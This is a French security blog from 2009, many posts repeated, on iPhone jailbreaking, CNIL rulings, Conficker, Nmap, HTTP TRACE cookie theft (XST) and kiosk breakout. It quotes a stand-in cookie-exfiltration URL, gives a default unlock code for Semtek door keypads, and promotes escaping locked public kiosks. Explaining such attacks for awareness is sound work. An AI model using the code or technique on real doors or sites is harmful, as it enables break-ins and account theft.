Bref ce blackhat 2009 commence bien, et promet de belles choses, comme, je le rappelle au passage, une démonstation de la prise de contrôle d'un Iphone sur simple envoi d'un SMS (donc l'utilisateur ne pourra rien y faire) pour ensuite espionner, le faire participer à un réseau de botnet toussa toussa...
à suivre donc :)
mercredi 29 juillet 2009
cyberarmaggedon c'est pour bientot!
un nouvel article de wired assez intéressant (et même marrant):
Apple est en ce moment en conflit avec l'EFF(Electronic Frontier Foundation) au sujet du jailbreak de l'iphone. l'EFF voudrait qu'il soit possible de lancer n'importe quelle application et non celles seulement autorisées, en d'autres termes, légaliser le jailbreak. Ce qu'on savait moins au sujet du jailbreak, c'est que ça peut être une arme très dangereuse!
En effet, si l'on en croit Apple, autoriser le jailbreak de l'iphone c'est ouvrir la porte aux hackers pour qu'ils puissent manipuler comme ils le souhaitent l'appareil, et notamment, provoquer des dénis de service sur les émetteurs (rien que ça) en exploitant le BBP (processeur de bande passante). L'analogie d'Apple est d'ailleurs assez violente:
bien que ce puisse être une juste revanche pour les iphones victimes des émetteurs, de provoquer à leur tour des DoS.(à cause d'eux il peuvent recevoir des sms piégés...) C'est un peu tiré par les cheveux (qui a dit capillotracté?).
Mais en extrapolant, le juge de l'EFF en est arrivé à s'interroger sur Android (et pourquoi pas la symbian fondation): vu qu'il est open source, et suivant la logique d'Apple, il va constituer une menace pour le territoire....
Bien que le modèle super fermé de l'iPhone ait été une bonne chose à bien des égards et d'après eux, contribue à son succès, les arguments avancés dans cette gueguerre nous plongent dans la science fiction.
un argument tout de même à noter: d'après Apple, le jailbreaking permettrait au hacker d'en arriver à modifier la puce d'identification unique des iPhones, à savoir celle qui permet de s'identifier auprès d'un émetteur, ce qui rendrait possible les appels anonymes et avantagerait fortement les dealers.
Ah bah voila, cette fois ci c'est l'argument de la drogue! plus sérieusement, sans avoir besoin d'avancer un exemple précis stéréotypé, il pourrait être intéressant de regarder plus en détails les conséquences d'une telle altération : appel anonyme oui, mais qu'en est il de la captation de données par un hackeurs?
le jailbreak pourrait bien amener plus de problèmes de sécurité qu'on ne le pense. Mais dans cet article, Apple oublie un détail: les gens disposés à hacker l'iPhone n'auront pas attendu que le jailbreak soit légal pour faire leurs recherches et bidouiller....
pour ceux qui veulent tous les détails "en inglishe", c'est par ici
Apple est en ce moment en conflit avec l'EFF(Electronic Frontier Foundation) au sujet du jailbreak de l'iphone. l'EFF voudrait qu'il soit possible de lancer n'importe quelle application et non celles seulement autorisées, en d'autres termes, légaliser le jailbreak. Ce qu'on savait moins au sujet du jailbreak, c'est que ça peut être une arme très dangereuse!
En effet, si l'on en croit Apple, autoriser le jailbreak de l'iphone c'est ouvrir la porte aux hackers pour qu'ils puissent manipuler comme ils le souhaitent l'appareil, et notamment, provoquer des dénis de service sur les émetteurs (rien que ça) en exploitant le BBP (processeur de bande passante). L'analogie d'Apple est d'ailleurs assez violente:
Taking control of the BBP software would be much the equivalent of getting inside the firewall of a corporate computer — to potentially catastrophic result.
bien que ce puisse être une juste revanche pour les iphones victimes des émetteurs, de provoquer à leur tour des DoS.(à cause d'eux il peuvent recevoir des sms piégés...) C'est un peu tiré par les cheveux (qui a dit capillotracté?).
Mais en extrapolant, le juge de l'EFF en est arrivé à s'interroger sur Android (et pourquoi pas la symbian fondation): vu qu'il est open source, et suivant la logique d'Apple, il va constituer une menace pour le territoire....
Bien que le modèle super fermé de l'iPhone ait été une bonne chose à bien des égards et d'après eux, contribue à son succès, les arguments avancés dans cette gueguerre nous plongent dans la science fiction.
un argument tout de même à noter: d'après Apple, le jailbreaking permettrait au hacker d'en arriver à modifier la puce d'identification unique des iPhones, à savoir celle qui permet de s'identifier auprès d'un émetteur, ce qui rendrait possible les appels anonymes et avantagerait fortement les dealers.
Ah bah voila, cette fois ci c'est l'argument de la drogue! plus sérieusement, sans avoir besoin d'avancer un exemple précis stéréotypé, il pourrait être intéressant de regarder plus en détails les conséquences d'une telle altération : appel anonyme oui, mais qu'en est il de la captation de données par un hackeurs?
le jailbreak pourrait bien amener plus de problèmes de sécurité qu'on ne le pense. Mais dans cet article, Apple oublie un détail: les gens disposés à hacker l'iPhone n'auront pas attendu que le jailbreak soit légal pour faire leurs recherches et bidouiller....
pour ceux qui veulent tous les détails "en inglishe", c'est par ici
mardi 28 juillet 2009
Directannonces paye direct
certain se souvienne encore des cours de M. péguillan au sujet de la CNIL, et comme quoi on fait pas n'importe quoi des infos qu'on collecte sans rien demander à personne. Visiblement d'autres n'ont pas eu la chance (ou l'intérêt) d'avoir ce genre de mise en garde. c'est le cas de Directannonces qui pompait des infos sur les sites d'immobilier pour particuliers et vendait le tout à des banques ou agences. un "petit" rappel à l'ordre de la CNIL:40000€ d'amende ce qui équivaut (après quelques recherches ^^) à son capital... ou 2% de son CA. Autant dire ce n'est pas rien.
On peut remarquer que l'entreprise a vite fait de rajouter un onglet "sécurité juridique" et sur la page d'acceuil (en bas) un lien pour aller modifier/effacer ses données. Esperons qu'elle ai compris la lecon...
NB: ceci dit si le process de traitement à été légalisé le site en soit n'est pas légal, il manque justement les mentions légales....
par ici: l'article original
On peut remarquer que l'entreprise a vite fait de rajouter un onglet "sécurité juridique" et sur la page d'acceuil (en bas) un lien pour aller modifier/effacer ses données. Esperons qu'elle ai compris la lecon...
NB: ceci dit si le process de traitement à été légalisé le site en soit n'est pas légal, il manque justement les mentions légales....
par ici: l'article original
hack me I'm famous (or unconscious)
un petit billet à été publié sur the iphone blog à destination des visiteurs des blackhat et defcon munis d'Iphones, les recommandations sont assez marrantes à lire car très basiques mais il faut savoir qu'elles s'appliquent aussi à tout netbook/pc etc... et oui c'est l'ennui, quand on va dans ce genre de conférence c'est un peu comme un agneau qui irait se promener au milieu d'une meute de loups, donc mieux vaut équiper le-dit agneau (soit) d'une armure de plaques ^^.
pour petit rappel, defcon et blackhat sont des conférences réunissant quantités d'experts sécurité mais clairement orientés blackhat, en gros un meeting d' unethical hackers pour les hackers. autant dire que ça hack à tout va au sein même de la conférence :D...
pour reprendre synthétiquement:
n'avoir aucun moyen d'entrée par le réseau (désactiver ssh pour éviter le bruteforce ou peut être la légendaire 0 days ^^), ne rien stocker de confidentiel sur son poste (cookie safari pouvant contenir des mots de passe ou logins) , ne rien envoyer de confidentiel sur le réseau (ou si nécessaire en chiffré) .
tous les ans des personnes se font avoir, vous pourrez suivre ca cette année sur the wall of sheep
j'espère vous faire bientôt un petit billet sur des trucs abordables du salon.
pour petit rappel, defcon et blackhat sont des conférences réunissant quantités d'experts sécurité mais clairement orientés blackhat, en gros un meeting d' unethical hackers pour les hackers. autant dire que ça hack à tout va au sein même de la conférence :D...
pour reprendre synthétiquement:
n'avoir aucun moyen d'entrée par le réseau (désactiver ssh pour éviter le bruteforce ou peut être la légendaire 0 days ^^), ne rien stocker de confidentiel sur son poste (cookie safari pouvant contenir des mots de passe ou logins) , ne rien envoyer de confidentiel sur le réseau (ou si nécessaire en chiffré) .
tous les ans des personnes se font avoir, vous pourrez suivre ca cette année sur the wall of sheep
j'espère vous faire bientôt un petit billet sur des trucs abordables du salon.
jeudi 23 juillet 2009
quand roBotNET tape du high-score
networkworld viens de publier le top ten des botnets les soit-disant plus maychants, des noms donc qu'il peut être intéressant d'avoir en tête si vous en rencontrez. De plus, au vu des chiffres, il se peut que vous ayez contribué à leur high score. Conficker figure bien sur dans la liste, mais seulement à la dixieme place, les chiffres n'étant pas tout à fait a jour ( le temps de la collecte pour l'article les versions D et E ont vu le jour et fait leurs ravages). Bref, ce top ten vous donne un apercu bien sympatique de ce que peuvent faire ces malwares.
Ce petit classement fait echo au pwnie awards (prononcez pouni [d'où le poney]) dont vous avez du entendre parler sur Korben.
C'est une cérémonie entre experts sécurité qui vise à récompenser (ou pas...) les meilleurs performances, que ce soit dans l'ownage massif, les bugs les plus sympas (type ms08_067) ou à l'inverse les gros echecs (FAIL) en sécurité ou les attitudes les plus minables des sociétés face à des soucis de sécurité. la liste des nominés fait un bon récapitualtif des gros exploits/incidents de l'année.
le site des pwnie awards c'est par ici
Ce petit classement fait echo au pwnie awards (prononcez pouni [d'où le poney]) dont vous avez du entendre parler sur Korben.
C'est une cérémonie entre experts sécurité qui vise à récompenser (ou pas...) les meilleurs performances, que ce soit dans l'ownage massif, les bugs les plus sympas (type ms08_067) ou à l'inverse les gros echecs (FAIL) en sécurité ou les attitudes les plus minables des sociétés face à des soucis de sécurité. la liste des nominés fait un bon récapitualtif des gros exploits/incidents de l'année.
le site des pwnie awards c'est par ici
mercredi 22 juillet 2009
Iphone pas aphone en tout cas...
Il faut croire que les ptits iphones aime pas les compositions, en effet un coktail sympathique vient d'être découvert: jailbreak+hack pour activer le push+AIM= broadcast général :).
c'est ce qu'a découvert un développeur allemand, quand quelqu'un lui a gentiment expliqué qu'il avait reçu un message qui ne lui était pas du tout destiné. Ainsi, ce serait une histoire d'ID de l'iphone utilisé par le programme (à savoir l'un des hacks installe le même pour tout le monde-> EPIC FAIL).
pour expliquer un peu plus:
jailbreaker un iphone est le fait de modifier le tel pour qu'il ne soit plus "verrouillé" et exploiter pleinement le téléphone, cela se traduit aussi par la possibilité d'installer des applications sans passer par l'appstore.
pour les iphones jailbreakés, il existe plusieurs petits hacks pour activer les notifications en push sur le téléphone. il semblerait donc que les iphones ayant un des hacks ont tous le meme ID et par conséquent ne sont pas différenciés par le service apple push.
Au final un message envoyé via instant messaging à quelqu'un possédant un Iphone jailbreaké+push sera diffusé à toutes les personnes qui ont elles aussi jailbreaké leur tel et activé les notifications en push via ces hacks. Voila un bon moyen de lancer des rumeurs à la con (ou de spammer en utilisant les ressources du apple's push service ).
heureusement que l'IM ne relève pas de la communication privée (ah si on me dit?! mince alors...)
bref c'est ici que ca se passe pour ceux qu'ont rien contre la langue de Shakespeare.
ceci dit si le deliver se fait juste sur la base d'un ID c'est plutot weak de la part d'apple....
[EDIT: puisque apparemment, et bien que détaillée, la nuance n'a pas été perçue je vais insister sur un point: j'ai bien parlé de téléphones jailbreakés, le fonctionnement est donc détourné et il n'est pas directement imputable à apple que des téléphones hors des conditions d'usages rencontrent des problèmes.
Toutefois, et compte tenu de la qualité habituelle des services d'Apple, si le deliver ne se fait que sur la base d'un ID modifiable par un simple programme, ca reste critique et décevant. La portée de cet incident est plus grande qu'il n'y parait car si plusieurs personnes ont eu le meme identifiant, c'est aussi possible d'avoir un programme qui permette de fixer son id sur l'identifiant de quelqu'un d'autre. Quid du delivery dans ce cas? si l'on peut de cette manière obtenir les messages d'autres personnes, il y a vraiment un problème...]
c'est ce qu'a découvert un développeur allemand, quand quelqu'un lui a gentiment expliqué qu'il avait reçu un message qui ne lui était pas du tout destiné. Ainsi, ce serait une histoire d'ID de l'iphone utilisé par le programme (à savoir l'un des hacks installe le même pour tout le monde-> EPIC FAIL).
pour expliquer un peu plus:
jailbreaker un iphone est le fait de modifier le tel pour qu'il ne soit plus "verrouillé" et exploiter pleinement le téléphone, cela se traduit aussi par la possibilité d'installer des applications sans passer par l'appstore.
pour les iphones jailbreakés, il existe plusieurs petits hacks pour activer les notifications en push sur le téléphone. il semblerait donc que les iphones ayant un des hacks ont tous le meme ID et par conséquent ne sont pas différenciés par le service apple push.
Au final un message envoyé via instant messaging à quelqu'un possédant un Iphone jailbreaké+push sera diffusé à toutes les personnes qui ont elles aussi jailbreaké leur tel et activé les notifications en push via ces hacks. Voila un bon moyen de lancer des rumeurs à la con (ou de spammer en utilisant les ressources du apple's push service ).
heureusement que l'IM ne relève pas de la communication privée (ah si on me dit?! mince alors...)
bref c'est ici que ca se passe pour ceux qu'ont rien contre la langue de Shakespeare.
ceci dit si le deliver se fait juste sur la base d'un ID c'est plutot weak de la part d'apple....
[EDIT: puisque apparemment, et bien que détaillée, la nuance n'a pas été perçue je vais insister sur un point: j'ai bien parlé de téléphones jailbreakés, le fonctionnement est donc détourné et il n'est pas directement imputable à apple que des téléphones hors des conditions d'usages rencontrent des problèmes.
Toutefois, et compte tenu de la qualité habituelle des services d'Apple, si le deliver ne se fait que sur la base d'un ID modifiable par un simple programme, ca reste critique et décevant. La portée de cet incident est plus grande qu'il n'y parait car si plusieurs personnes ont eu le meme identifiant, c'est aussi possible d'avoir un programme qui permette de fixer son id sur l'identifiant de quelqu'un d'autre. Quid du delivery dans ce cas? si l'on peut de cette manière obtenir les messages d'autres personnes, il y a vraiment un problème...]
lundi 20 juillet 2009
Pas de veine, la CNIL autorise la biométrie
C'est une première, la CNIL autorise l'usage de la biométrie pour un concours.
Certains d'entre vous connaissent surement le GMAT (surtout si vous essayez de faire un master supplémentaire dans une école de commerce/management). La CNIL vient d'autoriser l'usage d'une biométrie dite « sans traces » et difficilement falsifiable : la cartographie du réseau veineux de la main. Ils estiment que cette information biométrique peut difficilement être collectée à l'insu de l'individu et encore moins falsifiée.
Cette exception faite, la CNIL rappelle toutefois qu'elle n'est pas favorable à l'usage de la biométrie.
Le détail par ici
Le titre est gracieusement fourni par Bastien
Certains d'entre vous connaissent surement le GMAT (surtout si vous essayez de faire un master supplémentaire dans une école de commerce/management). La CNIL vient d'autoriser l'usage d'une biométrie dite « sans traces » et difficilement falsifiable : la cartographie du réseau veineux de la main. Ils estiment que cette information biométrique peut difficilement être collectée à l'insu de l'individu et encore moins falsifiée.
Cette exception faite, la CNIL rappelle toutefois qu'elle n'est pas favorable à l'usage de la biométrie.
Le détail par ici
Le titre est gracieusement fourni par Bastien
vendredi 17 juillet 2009
le pentest? ISSAF enseigner
Autre framework assez didactique dont je vous avais parlé: l'ISSAF 0.2.1 dans sa version B.
Si ce framework orienté système date un peu, il est particulièrement didactique et idéal pour l'apprentissage de la sécurité (que vous vous destiniez au pentest ou non).
Tous les tests sont exposés avec un protocole rappelant les TPs. Ils sont par conséquent aisément reproductibles. Vous pourrez le trouver ici
Si ce framework orienté système date un peu, il est particulièrement didactique et idéal pour l'apprentissage de la sécurité (que vous vous destiniez au pentest ou non).
Tous les tests sont exposés avec un protocole rappelant les TPs. Ils sont par conséquent aisément reproductibles. Vous pourrez le trouver ici
sécurité et développement web: OWASP
un billet qui traite de framework de sécurité.Nous allons parler de l'OWASP et notament du testing guide.L'Owasp est une communauté pour l'amélioration de la sécurité applicative. Son testing guide est dédié aux applications web et recense non seulement un ensemble de tests pour vérifier la sécurité d'une application mais aussi une méthodologie sur tout le projet, de la phase de conception à celle de vérification. Il peut donc servir aussi bien à un pentester qu'à un web développeur. Sans le lire dans sa totalité la partie listant les points à vérifier (et classés en sections) est assez exhaustive. Un framework des plus utiles donc, même pour ceux qui ne font pas particulièrement de sécurité mais veulent s'assurer que leur appli ne va pas se faire ouvrir en deux par le premier mec venu.
my conficker is fabulous \o/
vous avez recu un gentil petit mail vous expliquant que conficker avait été détecté sur un des postes de l'école, mais conficker, kesako??
une saloperie absolue diront certains, moi je dirai que ce ver est un petit bijou conceptuel et technique :) genre le ver 2.0 (c'est marketing). En effet, ce ver utilise de nombreuses méthodes de propagation:
Le point de rendez-vous suivant est calculé massivement par tous les confickers connectés (cloud computing powaaa) et de plus, chacun embarque son système de validation pour s'assurer que le binaire qu'il récupère est bien signé par l'auteur de conficker. Il est ainsi très difficile de pouvoir "tromper" un conficker et bien que des groupes aient réussi à identifier l'algorithme de génération des noms de domaines (pt de rdv), il n'est pas possible de faire uploader d'autre binaires par les machines infestées.
bref ce ver a su protéger son integrité, exploiter bon nombre des vecteurs de communications actuels et est de ce fait, une horreur absolue à virer dans une entreprise (entre la compromission de l'AD les partages etc...)
un article très intéressant mais technique sur conficker pour ceux que ca intéresse (ca vaut le coup): http://mtc.sri.com/Conficker/
N.B: si vous n'êtes pas techniques, juste l'intro vous donnera des chiffres et une idée des ravages..
pour tous les gouts: l'article aborde conficker A et B il faut savoir que des versions jusqu'à E on été découvertes. et oui, l'auteur doit aimer à peaufiner toujours plus son "jouet"
une saloperie absolue diront certains, moi je dirai que ce ver est un petit bijou conceptuel et technique :) genre le ver 2.0 (c'est marketing). En effet, ce ver utilise de nombreuses méthodes de propagation:
- la vulnérabilité ms08_067, pour les PC pas à jour.
- les partages windows directement accessibles.
- l'éxecution automatique des supports amovibles.
- et le must, le bruteforce des mots de passe Active Directory (c'est là que les sociétés avec des admins peu rigoureux comprennent leur douleur: un conficker admin de domaine je vous laisse imaginer ^^)
Le point de rendez-vous suivant est calculé massivement par tous les confickers connectés (cloud computing powaaa) et de plus, chacun embarque son système de validation pour s'assurer que le binaire qu'il récupère est bien signé par l'auteur de conficker. Il est ainsi très difficile de pouvoir "tromper" un conficker et bien que des groupes aient réussi à identifier l'algorithme de génération des noms de domaines (pt de rdv), il n'est pas possible de faire uploader d'autre binaires par les machines infestées.
bref ce ver a su protéger son integrité, exploiter bon nombre des vecteurs de communications actuels et est de ce fait, une horreur absolue à virer dans une entreprise (entre la compromission de l'AD les partages etc...)
un article très intéressant mais technique sur conficker pour ceux que ca intéresse (ca vaut le coup): http://mtc.sri.com/Conficker/
N.B: si vous n'êtes pas techniques, juste l'intro vous donnera des chiffres et une idée des ravages..
pour tous les gouts: l'article aborde conficker A et B il faut savoir que des versions jusqu'à E on été découvertes. et oui, l'auteur doit aimer à peaufiner toujours plus son "jouet"
Nmap télé est allumée, Nmap est là....
désolé pour le jdmp.
c'est aujourd'hui qu'une nouvelle version majeure de Nmap est publiée (la v5). L'occasion de vous rappeler ce qu'est ce petit programme et pourquoi en tant que STI vous devez absolument le connaitre (au moins de nom).
Nmap est principalement un scanner réseau, je dis principalement car depuis le temps il fait beaucoup de choses. il permet de scanner un périmètre à la recherche des ports ouvert sur la machines. il permet via des requêtes spécifiques d'identifier pour une bonne part les services écoutant sur ces ports et quand il a assez d'informations de détecter l'OS.
cette nouvelle version ajoute la possibilité de suivre l'évolution d'un périmètre (diff entre différents scans) et de rediriger du traffic. Bref encore de nouvelles fonctionnalités qui viennent assurer sa position d'indispensable dans votre toolbox de STI (aux cotés du petit über puissant netcat).
au passage, sachez que nmap est aussi un bon moyen sur votre reseau domestique de vérifier que tout est en ordre sur un pc, car les malwares associés aux rootkit rendent bien souvent netstat complètement inopérant détection de ports frauduleusement ouverts
c'est aujourd'hui qu'une nouvelle version majeure de Nmap est publiée (la v5). L'occasion de vous rappeler ce qu'est ce petit programme et pourquoi en tant que STI vous devez absolument le connaitre (au moins de nom).
Nmap est principalement un scanner réseau, je dis principalement car depuis le temps il fait beaucoup de choses. il permet de scanner un périmètre à la recherche des ports ouvert sur la machines. il permet via des requêtes spécifiques d'identifier pour une bonne part les services écoutant sur ces ports et quand il a assez d'informations de détecter l'OS.
cette nouvelle version ajoute la possibilité de suivre l'évolution d'un périmètre (diff entre différents scans) et de rediriger du traffic. Bref encore de nouvelles fonctionnalités qui viennent assurer sa position d'indispensable dans votre toolbox de STI (aux cotés du petit über puissant netcat).
au passage, sachez que nmap est aussi un bon moyen sur votre reseau domestique de vérifier que tout est en ordre sur un pc, car les malwares associés aux rootkit rendent bien souvent netstat complètement inopérant détection de ports frauduleusement ouverts
XST : "Prenez un cookie, M. Anderson"
Ce billet présente une vulnérabilité liée aux applications web, permettant par exemple de contourner certaines protections de navigateurs tels qu'Internet Explorer.
Le Cross-Site Tracing, ou XST pour les intimes, est une technique permettant de récupérer des informations telles que des cookies provenant d'un site arbitraire (même d'un serveur autre que celui ayant émis la page contenant le code).
XST se base sur la méthode HTTP TRACE, implémentée dans les principaux serveurs web (lisez Apache et IIS au minimum), qui est surtout (seulement ?) utilisée à titre de débogage. Le principe est simple, on envoie une requête et le serveur réémet ce qu'il a reçu.
Là où ça devient intéressant, c'est que le serveur va également renvoyer des choses telles que les cookies. Prenons un exemple : René-Gonzague se loggue sur son site préféré (A), ce qui créé un cookie pour le domaine A. Son pote Hubert-Théophile lui passe un lien vers une page pour télécharger son ISO de photos de vacances de 7Go sur un serveur B, contenant entre autre un bout de javascript. Ce script va faire une requête en AJAX sur le site A en utilisant la méthode TRACE. En fait, cette requête va être effectuée par le navigateur, qui du coup va envoyer le cookie du site A (puisque c'est son boulot). Le serveur derrière A va se contenter de réémettre ce qu'il a reçu, cookie compris, au gentil script JS. Celui-ci va alors pouvoir appliquer la technique standard de cookie stealing et envoyer le cookie au méchant hacker (avec bien sûr une URL du type "www.reallybadhacker.com/steal_my_cookie.php?niom-niom=" + cookie).
Ce qui est sympa, c'est que les protections des navigateurs du style "tu ne peux manger que le cookie du site d'où tu proviens" sont contournées, il suffit juste de pouvoir émettre une requête sur un autre serveur (attention tout de même, c'est parfois bloqué en standard, cf les applets Java).
Plusieurs façons d'éviter de voir ses cookies partir dans la nature :
Le Cross-Site Tracing, ou XST pour les intimes, est une technique permettant de récupérer des informations telles que des cookies provenant d'un site arbitraire (même d'un serveur autre que celui ayant émis la page contenant le code).
XST se base sur la méthode HTTP TRACE, implémentée dans les principaux serveurs web (lisez Apache et IIS au minimum), qui est surtout (seulement ?) utilisée à titre de débogage. Le principe est simple, on envoie une requête et le serveur réémet ce qu'il a reçu.
Là où ça devient intéressant, c'est que le serveur va également renvoyer des choses telles que les cookies. Prenons un exemple : René-Gonzague se loggue sur son site préféré (A), ce qui créé un cookie pour le domaine A. Son pote Hubert-Théophile lui passe un lien vers une page pour télécharger son ISO de photos de vacances de 7Go sur un serveur B, contenant entre autre un bout de javascript. Ce script va faire une requête en AJAX sur le site A en utilisant la méthode TRACE. En fait, cette requête va être effectuée par le navigateur, qui du coup va envoyer le cookie du site A (puisque c'est son boulot). Le serveur derrière A va se contenter de réémettre ce qu'il a reçu, cookie compris, au gentil script JS. Celui-ci va alors pouvoir appliquer la technique standard de cookie stealing et envoyer le cookie au méchant hacker (avec bien sûr une URL du type "www.reallybadhacker.com/steal_my_cookie.php?niom-niom=" + cookie).
Ce qui est sympa, c'est que les protections des navigateurs du style "tu ne peux manger que le cookie du site d'où tu proviens" sont contournées, il suffit juste de pouvoir émettre une requête sur un autre serveur (attention tout de même, c'est parfois bloqué en standard, cf les applets Java).
Plusieurs façons d'éviter de voir ses cookies partir dans la nature :
- désactiver le javascript (hardcore dans ce monde 2.0), mais on peut très bien parvenir à nos fins avec du flash ou du java
- côté serveur, empêcher les requêtes TRACE avec une rewrite rule
- ne pas aller sur Internet, parce que c'est plein de violeurs pédophiles néo-nazis
- ...
jeudi 16 juillet 2009
l'ANSSI naitra
comme je vous l'ai annoncé, l'équivalent de la NSA a vu le jour en France le 7 juillet dernier sous le nom d'ANSSI (Agence Nationale pour la Sécurité des Systèmes d'Information). elle vient emboiter le pas à la DCSSI dans la mission de protection et de promotion de la sécurité des SI nationaux.
le site fournit pas mal d'informations, un renvoi vers le livre blanc, le certa, etc... bref si vous vous intéressez un peu à la sécurité organisationnelle, c'est bon à savoir.
Le site propose aussi des offres d'emploi plus ou moins techniques, à vous de surveiller.
le site de l'anssi
NB: pour ceux qui ne connaissent pas le certa (Centre d'Expertise Gouvernemental de Réponse et de Traitement des Attaques informatiques ), cette instance publique fournit quelques informations relative a la sécurité mais surtout, publie des bulletins d'avis régulièrement, une analyse de l'évolution des menaces, des alertes relatives aux vulnérabilités récemment divulguées etc...
si vous voulez etre tenu un peu au courant sans se faire spammer pour le moindre truc ca peut etre interessant de suivre depuis ce site.
le site fournit pas mal d'informations, un renvoi vers le livre blanc, le certa, etc... bref si vous vous intéressez un peu à la sécurité organisationnelle, c'est bon à savoir.
Le site propose aussi des offres d'emploi plus ou moins techniques, à vous de surveiller.
le site de l'anssi
NB: pour ceux qui ne connaissent pas le certa (Centre d'Expertise Gouvernemental de Réponse et de Traitement des Attaques informatiques ), cette instance publique fournit quelques informations relative a la sécurité mais surtout, publie des bulletins d'avis régulièrement, une analyse de l'évolution des menaces, des alertes relatives aux vulnérabilités récemment divulguées etc...
si vous voulez etre tenu un peu au courant sans se faire spammer pour le moindre truc ca peut etre interessant de suivre depuis ce site.
l'usine n'aime pas la sécurité
Ce n'est pas nouveau et c'est bien connu, les configurations par défaut ne font pas bon ménage avec la sécurité, les WEP farmers du coin en savent quelque chose ^^.
Ce qui est plus gênant, ce sont les configurations par défaut d'usine, bien souvent immuables.
On apprend ainsi (avis a ceux qui possèdent des digicodes semtek) que pour ouvrir bon nombre de portes protégées par ces boitiers il suffit de taper ***00000099#*, le genre de disclosure assez sympathique (pas pour tout le monde).
à suivre plus en détail sur le blog de david rusenko (au passage jetez un oeil au header ;) )...
Petit anecdote, sachez qu'il en est de même pour le fameux ucopia de l'école, en effet, ce portail captif ne serait distribué que sous forme d'appliance. De plus, le compte que possède le client est un compte utilisateur créé juste pour permettre l'administration, le compte root de l'appliance étant lui,[bien] gardé par ucopia. seulement voilà, le mot de passe du fameux compte root est le même pour toutes les boites, et j'en connais qui le connaissent ;).....
Ce qui est plus gênant, ce sont les configurations par défaut d'usine, bien souvent immuables.
On apprend ainsi (avis a ceux qui possèdent des digicodes semtek) que pour ouvrir bon nombre de portes protégées par ces boitiers il suffit de taper ***00000099#*, le genre de disclosure assez sympathique (pas pour tout le monde).
à suivre plus en détail sur le blog de david rusenko (au passage jetez un oeil au header ;) )...
Petit anecdote, sachez qu'il en est de même pour le fameux ucopia de l'école, en effet, ce portail captif ne serait distribué que sous forme d'appliance. De plus, le compte que possède le client est un compte utilisateur créé juste pour permettre l'administration, le compte root de l'appliance étant lui,[bien] gardé par ucopia. seulement voilà, le mot de passe du fameux compte root est le même pour toutes les boites, et j'en connais qui le connaissent ;).....
le HPP késako?
Certain d'entre vous on peut etre entendu parler de HPP ou non abrégé de HTTP parameter pollution. Derrière ce nom évocateur se cache le principe tout simple de passer plusieurs valeur pour un même paramètre.
le blog de minded security sur le sujet. il y a un PDF explicatif et dans les commentaires un lien vers des vidéos de proof of concept sur yahoo
(une explication plus détaillée sur le fonctionnement sera faite prochainement sur le wiki)
- par exemple quel est le résultat d'une requete get de mapage.php?id=valeur1&id=valeur2?
le blog de minded security sur le sujet. il y a un PDF explicatif et dans les commentaires un lien vers des vidéos de proof of concept sur yahoo
(une explication plus détaillée sur le fonctionnement sera faite prochainement sur le wiki)
iKat, ou comment sortir de cage
Un petit billet pour vous presenter ikat.
Outre un header comme qui dirait..."attractif", ce site est en fait une plateforme des plus intéressantes car elle permet par des interactions ajax d'ouvrir un shell, d'exécuter des commandes etc... sur une machine. A quoi bon avoir la main sur notre machine puisqu'on l'a déjà pour aller sur ce site? Justement c'est pour quand vous n'êtes pas sur votre machine, mais plutôt dans un kiosque (par exemple les bornes ratp internet) dans ce genre de poste vous êtes bloqués dans le navigateur avec pas mal de contraintes, c'est la qu'Ikat intervient et permet de reprendre un contrôle plus complet du poste (moins évident s'il n'y a pas de clavier, mais bon y'a toujours le clavier virtuel krosoft) à connaitre donc, ca peut toujours servir un jour :).
Outre un header comme qui dirait..."attractif", ce site est en fait une plateforme des plus intéressantes car elle permet par des interactions ajax d'ouvrir un shell, d'exécuter des commandes etc... sur une machine. A quoi bon avoir la main sur notre machine puisqu'on l'a déjà pour aller sur ce site? Justement c'est pour quand vous n'êtes pas sur votre machine, mais plutôt dans un kiosque (par exemple les bornes ratp internet) dans ce genre de poste vous êtes bloqués dans le navigateur avec pas mal de contraintes, c'est la qu'Ikat intervient et permet de reprendre un contrôle plus complet du poste (moins évident s'il n'y a pas de clavier, mais bon y'a toujours le clavier virtuel krosoft) à connaitre donc, ca peut toujours servir un jour :).
http://ikat.ha.cked.net/
Inscription à :
Articles (Atom)